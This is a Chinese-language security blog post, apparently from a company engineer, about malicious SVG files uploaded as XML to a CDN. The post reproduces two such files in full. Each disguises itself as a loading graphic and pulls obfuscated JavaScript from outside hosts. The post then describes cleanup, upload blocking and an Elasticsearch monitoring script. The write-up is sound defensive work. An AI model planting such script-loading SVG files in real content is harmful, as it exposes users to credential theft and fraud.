白衣居士-xml

去年的黑神话悟空的白衣居士“教我做人”好几个小时，这个怪有两个阶段，第一次遇到的时候算是比较惊艳的怪。近期遇到一些xml的黑产文件，之前遇到的大多是视频伪装图片、HTML、shtml这些，之前也接触过xml，只是没有想过xml还能被用来进行黑产活动，遇到的黑产xml也有两个阶段，和白衣居士一样。

XML

先上一个官方的解释：

XML（Extensible Markup Language）是一种类似于 HTML，但是没有使用预定义标记的语言。因此，可以根据自己的设计需求定义专属的标记。这是一种强大将数据存储在一个可以存储、搜索和共享的格式中的方法。最重要的是，因为 XML 的基本格式是标准化的，如果你在本地或互联网上跨系统或平台共享或传输 XML，由于标准化的 XML 语法，接收者仍然可以解析数据。有许多基于 XML 的语言，包括 XHTML、MathML、SVG、RSS 和 RDF。你也可以创建自己的。

我们业务方平时正常的XML长这样，见下图，就是一些服务生成数据的整合

黑产XML

在ES查看上传文件的记录发现有一些xml文件，在CDN访问日志中有类似下面这样的请求记录

https://******/fe5047f808033fa64efe759c39f9f598.xml?usz=B1S&UpZ=p0JcQlDg3qbpV3mk0dvKXGe
http://*******/c03fb74b713e26dea74ac5b077567cde.xml?yj=ilsh58&iops=5463&t=ptydmd450&0z2d=97

是骡子是马，拉出来溜溜

fe5047f808033fa64efe759c39f9f598.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" viewBox="0 0 300 200">
    <circle cx="50" cy="40" r="30" fill="none" stroke="#007bff" stroke-width="6" transform="translate(100, 0)">
        <animate attributeName="stroke-dasharray" from="0 188.49555921538757" to="188.49555921538757 0" dur="1s"
                 repeatCount="indefinite"/>
        <animate attributeName="stroke-dashoffset" from="0" to="188.49555921538757" dur="1s" repeatCount="indefinite"/>
    </circle>
    <text x="50%" y="80%" dominant-baseline="middle" text-anchor="middle" font-size="24px" fill="#007bff" id="msg">
        加载中，请耐心等待
    </text>
<something:script src="//image.tuiguang48.cn/tMall21c886e003d34.min.js" xmlns:something="http://www.w3.org/1999/xhtml"></something:script></svg>

c03fb74b713e26dea74ac5b077567cde.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" viewBox="0 0 42.7 42.7" style="enable-background:new 0 0 42.7 42.7;" xml:space="preserve"> 
    <metadata>
生命，如同一棵参天大树，扎根于时间的土壤，汲取着岁月的养分，不断生长，不断延伸。我们每个人都是这棵大树上的一片叶子，从嫩绿的芽孢，到成熟的叶片，再到最终的凋零，我们的生命在四季的轮回中演绎着不同的色彩。
夏天，是生命之树的繁茂期。在这个季节里，万物生长得最为旺盛，生命的力量最为强大。我们的生命也如同那些茂盛的枝叶，充满了活力和热情。我们在夏天里奋斗，我们在夏天里挑战，我们在夏天里创造。夏天的雨水充沛而热烈，它滋养了我们成长的土地，让我们的心灵充满了勇气和决心。
春天，是生命之树的开始。在这个季节里，万物复苏，生机勃勃。我们的生命也如同那些嫩绿的芽孢，充满了无限的可能和希望。我们在春天里学习，我们在春天里探索，我们在春天里梦想。春天的阳光温暖而明媚，它照亮了我们前行的道路，让我们的心灵充满了光明和力量。
    </metadata>
    <script xlink:href="https://0202-1328575900.cos.ap-chengdu.myqcloud.com/txbp.js?v=41245007"></script>
<svg viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg"  width="43.2" height="43.2"><path d="M511.09761 957.257c-80.159 0-153.737-25.019-201.11-62.386-24.057 6.702-54.831 17.489-74.252 30.864-16.617 11.439-14.546 23.106-11.55 27.816 13.15 20.689 225.583 13.211 286.912 6.767v-3.061z" fill="#FAAD08" ></path><path d="M496.65061 957.257c80.157 0 153.737-25.019 201.11-62.386 24.057 6.702 54.83 17.489 74.253 30.864 16.616 11.439 14.543 23.106 11.55 27.816-13.15 20.689-225.584 13.211-286.914 6.767v-3.061z" fill="#FAAD08" ></path><path d="M497.12861 474.524c131.934-0.876 237.669-25.783 273.497-35.34 8.541-2.28 13.11-6.364 13.11-6.364 0.03-1.172 0.542-20.952 0.542-31.155C784.27761 229.833 701.12561 57.173 496.64061 57.162 292.15661 57.173 209.00061 229.832 209.00061 401.665c0 10.203 0.516 29.983 0.547 31.155 0 0 3.717 3.821 10.529 5.67 33.078 8.98 140.803 35.139 276.08 36.034h0.972z" fill="#000000" ></path><path d="M860.28261 619.782c-8.12-26.086-19.204-56.506-30.427-85.72 0 0-6.456-0.795-9.718 0.148-100.71 29.205-222.773 47.818-315.792 46.695h-0.962C410.88561 582.017 289.65061 563.617 189.27961 534.698 185.44461 533.595 177.87261 534.063 177.87261 534.063 166.64961 563.276 155.56661 593.696 147.44761 619.782 108.72961 744.168 121.27261 795.644 130.82461 796.798c20.496 2.474 79.78-93.637 79.78-93.637 0 97.66 88.324 247.617 290.576 248.996a718.01 718.01 0 0 1 5.367 0C708.80161 950.778 797.12261 800.822 797.12261 703.162c0 0 59.284 96.111 79.783 93.637 9.55-1.154 22.093-52.63-16.623-177.017" fill="#000000" ></path><path d="M434.38261 316.917c-27.9 1.24-51.745-30.106-53.24-69.956-1.518-39.877 19.858-73.207 47.764-74.454 27.875-1.224 51.703 30.109 53.218 69.974 1.527 39.877-19.853 73.2-47.742 74.436m206.67-69.956c-1.494 39.85-25.34 71.194-53.24 69.956-27.888-1.238-49.269-34.559-47.742-74.435 1.513-39.868 25.341-71.201 53.216-69.974 27.909 1.247 49.285 34.576 47.767 74.453" fill="#FFFFFF" ></path><path d="M683.94261 368.627c-7.323-17.609-81.062-37.227-172.353-37.227h-0.98c-91.29 0-165.031 19.618-172.352 37.227a6.244 6.244 0 0 0-0.535 2.505c0 1.269 0.393 2.414 1.006 3.386 6.168 9.765 88.054 58.018 171.882 58.018h0.98c83.827 0 165.71-48.25 171.881-58.016a6.352 6.352 0 0 0 1.002-3.395c0-0.897-0.2-1.736-0.531-2.498" fill="#FAAD08" ></path><path d="M467.63161 256.377c1.26 15.886-7.377 30-19.266 31.542-11.907 1.544-22.569-10.083-23.836-25.978-1.243-15.895 7.381-30.008 19.25-31.538 11.927-1.549 22.607 10.088 23.852 25.974m73.097 7.935c2.533-4.118 19.827-25.77 55.62-17.886 9.401 2.07 13.75 5.116 14.668 6.316 1.355 1.77 1.726 4.29 0.352 7.684-2.722 6.725-8.338 6.542-11.454 5.226-2.01-0.85-26.94-15.889-49.905 6.553-1.579 1.545-4.405 2.074-7.085 0.242-2.678-1.834-3.786-5.553-2.196-8.135" fill="#000000" ></path><path d="M504.33261 584.495h-0.967c-63.568 0.752-140.646-7.504-215.286-21.92-6.391 36.262-10.25 81.838-6.936 136.196 8.37 137.384 91.62 223.736 220.118 224.996H506.48461c128.498-1.26 211.748-87.612 220.12-224.996 3.314-54.362-0.547-99.938-6.94-136.203-74.654 14.423-151.745 22.684-215.332 21.927" fill="#FFFFFF" ></path><path d="M323.27461 577.016v137.468s64.957 12.705 130.031 3.91V591.59c-41.225-2.262-85.688-7.304-130.031-14.574" fill="#EB1C26" ></path><path d="M788.09761 432.536s-121.98 40.387-283.743 41.539h-0.962c-161.497-1.147-283.328-41.401-283.744-41.539l-40.854 106.952c102.186 32.31 228.837 53.135 324.598 51.926l0.96-0.002c95.768 1.216 222.4-19.61 324.6-51.924l-40.855-106.952z" fill="#EB1C26" ></path></svg>
</svg>

这里第一眼看去就猜个八九不离十，还是通过访问第三方js窃取用户信息这套路，

<something:script src="//image.tuiguang48.cn/tMall21c886e003d34.min.js"
<script xlink:href="https://0202-1328575900.cos.ap-chengdu.myqcloud.com/txbp.js?v=41245007"></script>

还有下面两种

<svg xmlns="http://www.w3.org/2000/svg" 
xmlns:something="http://www.w3.org/1999/xhtml"

以<svg开头，以</svg>结尾

之前没有研究过xml的语法，从网上搜了一下SVG

SVG（Scalable Vector Graphics）是一种基于 XML 的矢量图形格式，用于描述二维图形。由于 SVG 是一种文本文件格式，并且其内容本质上是 XML，因此它可以直接被浏览器解析和渲染。

浏览器支持直接加载和显示 SVG 文件。

SVG 文件不仅可以包含静态的图形信息，还可以嵌入动态内容，例如动画、脚本等。

在例子中，SVG 文件不仅定义了一个圆形和一段文字，还通过 <animate> 标签实现了动画效果，并通过 <something:script> 标签嵌入了外部 JavaScript 脚本。

something:script表示特定命名空间下的脚本元素，而xlink:href是 XLink 定义的超链接属性。

SVG 文件本身是基于 XML 的，浏览器能够解析和渲染它，SVG还支持嵌入动画和脚本，浏览器会尝试加载和执行这些内容。用户在浏览器或者使用内嵌浏览器内核的APP里面打开这类xml，就执行恶意js了。

下面开始对这两个XML进行分析。

分析XML

把这两个xml加载的js下载下来，也都是经过混淆过的

tMall21c886e003d34.min.js

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在沙盒虚拟机浏览器里面进行调试发现恶意代码里面有禁止调试的防护

找一个可以在线执行js的网站https://jsbin.com/ruxazuxigu/edit?js,console,output

fe5047f808033fa64efe759c39f9f598.xml里面**tMall21c886e003d34.min.js**的执行结果

c03fb74b713e26dea74ac5b077567cde.xml 里面**txbp.js**执行结果

把xml和js内容发给deepseek进行分析：

fe5047f808033fa64efe759c39f9f598.xml

c03fb74b713e26dea74ac5b077567cde.xml

两个xml攻击方式是一样的，应该是同一伙人做的，下一步就是删除这些黑产xml，减少被举报导致域名被封的风险。

删除XML

先找业务开发同学确认xml在业务里面不需要，把xml类型的文件上传禁止掉。查看最近一年的上传历史，xml的上传数量不多，从ES中拿出来：

从cdn近期的访问日志中找出xml的访问记录：

删除源站文件然后刷新CDN这些url记录，再次打开这些url时候就变成404了

防护

上传文件系统这边已经禁止xml类型的文件了，但是还需要加上监控，从ES获取最近一小时上传的列表，代码如下所示：

#conding:uft8
#/usr/bin/env python3
from elasticsearch import Elasticsearch
import re
import os

es = Elasticsearch(
    [
        {
            "host": "IP",
            "port": 9200,
            "scheme": "http"
        }
    ],
    basic_auth = ("username", "password"),
    request_timeout=30,
    max_retries=10,
    retry_on_timeout=True,
)

query = {
  "query": {
    "bool": {
      "must": [],
      "filter": [
        {
          "bool": {
            "should": [
              {
                "match_phrase": {
                  "url": "资源域名"
                }
              }
            ],
            "minimum_should_match": 1
          }
        },
        {
          "range": {
            "@timestamp": {
              "format": "strict_date_optional_time",
              "gte": "now-1h",
              "lte": "now"
              #"gte": "2025-01-10T16:00:58.711Z",
              #"lte": "2025-01-10T18:14:19.456Z"
            }
          }
        },
        {
          "match_phrase": {
            "path": "上传接口"
          }
        },
        {
          "match_phrase": {
            "product": "产品名称"
          }
        }
      ],
      "should": [],
      "must_not": []
    }
  },
  "highlight": {
    "pre_tags": [
      "@kibana-highlighted-field@"
    ],
    "post_tags": [
      "@/kibana-highlighted-field@"
    ],
    "fields": {
      "*": {}
    },
    "fragment_size": 2147483647
  }

}

try:
    if os.path.isfile('check_id_list'):
        os.remove('check_id_list')
    else:
        with open('check_id_list', 'w'):
            pass
    query['size'] = 1000
    result = es.search(index="luna-nos-upload-*", body=query)
    for hit in result['hits']['hits']:
        strresult = hit['_source']['url']
        with open("{}".format("check_id_list"), "a+") as code:
            code.writelines("{}".format(strresult)+"\n")
except Exception as es1:
    print(es1)

把xml类型的检测合并到之前的检测脚本中，设置一个计划任务每小时跑一次，有检测到异常就发出来。

写在最后

之前没有deepseek的时候用那些大模型分析混淆过的js效果很差，现在用deepseek分析几轮下来就可以把这些黑产的逻辑搞定，对应的做出防护措施，最大可能降低黑产带来的盗刷、欺骗风险。

又是一年春来到，春风得意马蹄疾。

XML

黑产XML

分析XML

删除XML

防护

写在最后

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